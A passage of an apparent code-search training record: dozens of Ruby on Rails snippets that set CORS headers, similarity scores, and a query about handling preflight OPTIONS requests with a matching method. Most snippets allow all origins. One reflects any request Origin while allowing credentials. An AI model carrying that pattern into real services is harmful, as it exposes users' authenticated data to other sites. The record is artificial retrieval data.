"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n log_origin_access # TODO: Disable logging for GoLive. Log only requests for api-clients #41\n headers['Access-Control-Allow-Origin'] = allowed_client_origins\n headers['Access-Control-Allow-Methods'] = allowed_client_methods\n headers['Access-Control-Allow-Headers'] = allowed_headers\n headers['Access-Control-Max-Age'] = allowed_max_age\n end",
"def cors_set_access_control_headers\n\t\theaders['Access-Control-Allow-Origin'] = '*'\n\t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n\t\theaders['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_hdrs\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token, Access-Token, locale, authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\r\n headers['Access-Control-Allow-Origin'] = '*'\r\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\r\n headers['Access-Control-Max-Age'] = \"1728000\"\r\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization, Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Origin, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST,GET,OPTIONS'\n\t headers['Access-Control-Max-Age'] = \"1728000\"\n\t end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Headers'] = \"Content-Type\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n end",
"def set_access_control_headers\n return unless request.headers[\"Origin\"]\n response.headers[\"Access-Control-Allow-Origin\"] = request.headers[\"Origin\"]\n response.headers[\"Access-Control-Allow-Headers\"] = 'Accept, Content-Type, X-Requested-With, X-Access-Token'\n response.headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n response.headers['Access-Control-Allow-Credentials'] = 'false'\n response.headers['Access-Control-Max-Age'] = '86400'\n end",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n \t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n \t \theaders['Access-Control-Allow-Headers'] = '*'\n \t\theaders['Access-Control-Request-Method'] = '*',\n\t\theaders['Access-Control-Max-Age'] = \"1728000\"\n\tend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*' \n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Content-Type'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Headers'] = \"X-Requested-With,Content-Type,Accept,Origin\"\n headers['Access-Control-Expose-Headers'] = \"Location\"\nend",
"def cors_set_access_control_headers\n \t\theaders['Access-Control-Allow-Origin'] = '*'\n\tend",
"def cors_set_access_control_headers\n # headers['Access-Control-Allow-Origin'] = 'http://' + request.host\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Headers'] = \"Overwrite, Destination, Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, Content-Length, Accept, Accept-Charset, Accept-Encoding, Referer\";\n end",
"def cors\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'OPTIONS, POST, DELETE, GET, PUT'\n\t headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept'\n\t headers['Access-Control-Max-Age'] = '1728000'\n\tend",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n #headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match'\n #headers['Access-Control-Max-Age'] = '86400'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Max-Age'] = \"1728000\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS, PATCH'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization' \n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = %w(GET POST OPTIONS).join(',')\n end",
"def set_cors_headers\n if request.headers[\"HTTP_ORIGIN\"]\n # better way check origin\n # if request.headers[\"HTTP_ORIGIN\"] && /^https?:\\/\\/(.*)\\.some\\.site\\.com$/i.match(request.headers[\"HTTP_ORIGIN\"])\n headers['Access-Control-Allow-Origin'] = request.headers[\"HTTP_ORIGIN\"]\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'GET, POST, PATCH, PUT, DELETE, OPTIONS, HEAD'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Max-Age'] = '86400'\n headers['Access-Control-Allow-Credentials'] = 'true'\n end\n end",
"def set_access_controller_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = '*'\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = '1000'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = '*'\n end",
"def options\n # echo back access-control-request-headers\n if request.headers[\"Access-Control-Request-Headers\"]\n response[\"Access-Control-Allow-Headers\"] =\n request.headers[\"Access-Control-Request-Headers\"]\n end\n render body: \"\", status: 200\n end",
"def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, GET, PUT, OPTIONS, DELETE',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = \"*\"\n headers['Access-Control-Request-Method'] = %w{GET POST OPTIONS}.join(\",\")\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\nend",
"def cors_header_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors\n headers[\"Access-Control-Allow-Origin\"] = \"*\"\n headers['Access-Control-Request-Method'] = \"*\"\n headers[\"Access-Control-Allow-Methods\"] = %w{GET POST PUT DELETE OPTIONS}.join(\",\")\n headers[\"Access-Control-Allow-Headers\"] = %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token}.join(\",\")\n if request.method == 'OPTIONS'\n head(:ok)\n end\n end",
"def add_cors_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = 'http://localhost:9000'\n headers['Access-Control-Allow-Headers'] = 'X-AUTH-TOKEN, X-API-VERSION, X-Requested-With, Content-Type, Accept, Origin'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_allow_all\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Content-Type'\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Request-Method'] = '*'\n end",
"def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, OPTIONS',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"def set_access_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def set_access_control_headers\n # Permits requests from any origin\n headers['Access-Control-Allow-Origin'] = '*'\n\n # Permits POST, GET, and OPTIONS methods\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\n # Permits HTTP header Content-Type, which is used by HTTP requests to\n # declare the type of data being sent.\n headers['Access-Control-Allow-Headers'] = 'Content-Type'\n end",
"def cors_set_access_control_headers\nheaders['Access-Control-Allow-Origin'] = '*'\nheaders['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\nheaders['Access-Control-Max-Age'] = '1728000'\nend",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def allow_cors\n headers[\"Access-Control-Allow-Origin\"] = \"*\"\n headers[\"Access-Control-Allow-Methods\"] = %w{GET POST PUT DELETE}.join(\",\")\n headers[\"Access-Control-Allow-Headers\"] =\n %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token X-AuthToken X-Identity Authorization}.join(\",\")\n\n render text: '' if request.request_method == \"OPTIONS\"\n end",
"def cors_header\n origin = request.headers['Origin']\n if ENV['RAILS_ENV'] == 'production'\n headers[\"Access-Control-Allow-Origin\"] = origin if check_origin origin\n else\n headers[\"Access-Control-Allow-Origin\"] = origin unless origin.nil? # always pass if testing\n end\n headers[\"Access-Control-Allow-Methods\"] = \"GET,PUT,PATCH,POST,DELETE\"\n headers[\"Access-Control-Allow-Credentials\"] = \"true\"\n end",
"def set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end"
] |
[
"0.76200086",
"0.76057684",
"0.76057684",
"0.7502795",
"0.7487873",
"0.74259764",
"0.7410305",
"0.740784",
"0.7405322",
"0.7395",
"0.739231",
"0.7384529",
"0.73775524",
"0.73729867",
"0.73729867",
"0.73729867",
"0.73599845",
"0.73512226",
"0.7333351",
"0.7333351",
"0.72869694",
"0.7284237",
"0.7277584",
"0.72753364",
"0.72753364",
"0.72753364",
"0.72740686",
"0.72740686",
"0.72740686",
"0.72737247",
"0.72598773",
"0.7255787",
"0.7255787",
"0.7255787",
"0.7253306",
"0.7245043",
"0.7237582",
"0.72341377",
"0.72170246",
"0.7216951",
"0.7216951",
"0.72046036",
"0.71916866",
"0.71684426",
"0.7134605",
"0.70936155",
"0.70833075",
"0.70526564",
"0.70363337",
"0.7018978",
"0.70092344",
"0.70012814",
"0.69690174",
"0.6937808",
"0.6929534",
"0.6926159",
"0.6900578",
"0.6864758",
"0.68631923",
"0.6834416",
"0.68313825",
"0.6826484",
"0.6826484",
"0.6802689",
"0.67829555",
"0.6779067",
"0.67568105",
"0.6752191",
"0.6748238",
"0.6737698",
"0.6725062",
"0.67246985",
"0.67226344",
"0.66708326",
"0.66498303",
"0.6602848",
"0.6601441",
"0.6598034",
"0.659235",
"0.659235"
] |
0.72364885
|
37
|
If this is a preflight OPTIONS request, then shortcircuit the request, return only the necessary headers and return an empty text/plain.
|
def cors_preflight_check
if request.method == :options
headers['Access-Control-Allow-Origin'] = '*'
headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'
headers['Access-Control-Max-Age'] = '1728000'
render :text => '', :content_type => 'text/plain'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def handle_options\n head(:ok) if request.request_method == \"OPTIONS\"\n end",
"def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n cors_set_access_control_headers\n render text: ''\n end\n end",
"def cors_preflight_check\n if request.method == :options\n cors_set_access_control_headers\n render text: ''\n end\n end",
"def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Access-Control-Allow-Origin, X-Requested-With, X-Prototype-Version, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render text: \"\" if request.method == \"OPTIONS\"\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n\n render text: '', content_type: 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*' #'Origin, X-Requested-With, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Credentials'] = true\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Content-Type, X-Experience-API-Version,Authorization,X-Requested-With, X-Prototype-Version, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method.downcase == 'options'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, Content-Type, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method.downcase == 'options'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, Content-Type, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method.downcase == 'options'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, Content-Type, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def try_options\n\t\t\treturn unless request.http_method == :OPTIONS\n\n\t\t\tallow = available_endpoint&.allow\n\t\t\thalt 404 unless allow\n\t\t\tresponse.headers['Allow'] = allow\n\t\tend",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = \"*\"\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n render :text=>'', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == \"OPTIONS\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, PUT, DELETE'\n #headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*, X-Requested-By, X-Requested-With, X-Prototype-Version, X-CSRF-Token, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"def cors_preflight_check\n\t\tif request.method == :options\n\t\t\theaders['Access-Control-Allow-Origin'] = '*'\n\t\t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t\t\theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n\t\t\theaders['Access-Control-Max-Age'] = '1728000'\n\t\t\trender :text => '', :content_type => 'text/plain'\n\t\tend\n\tend",
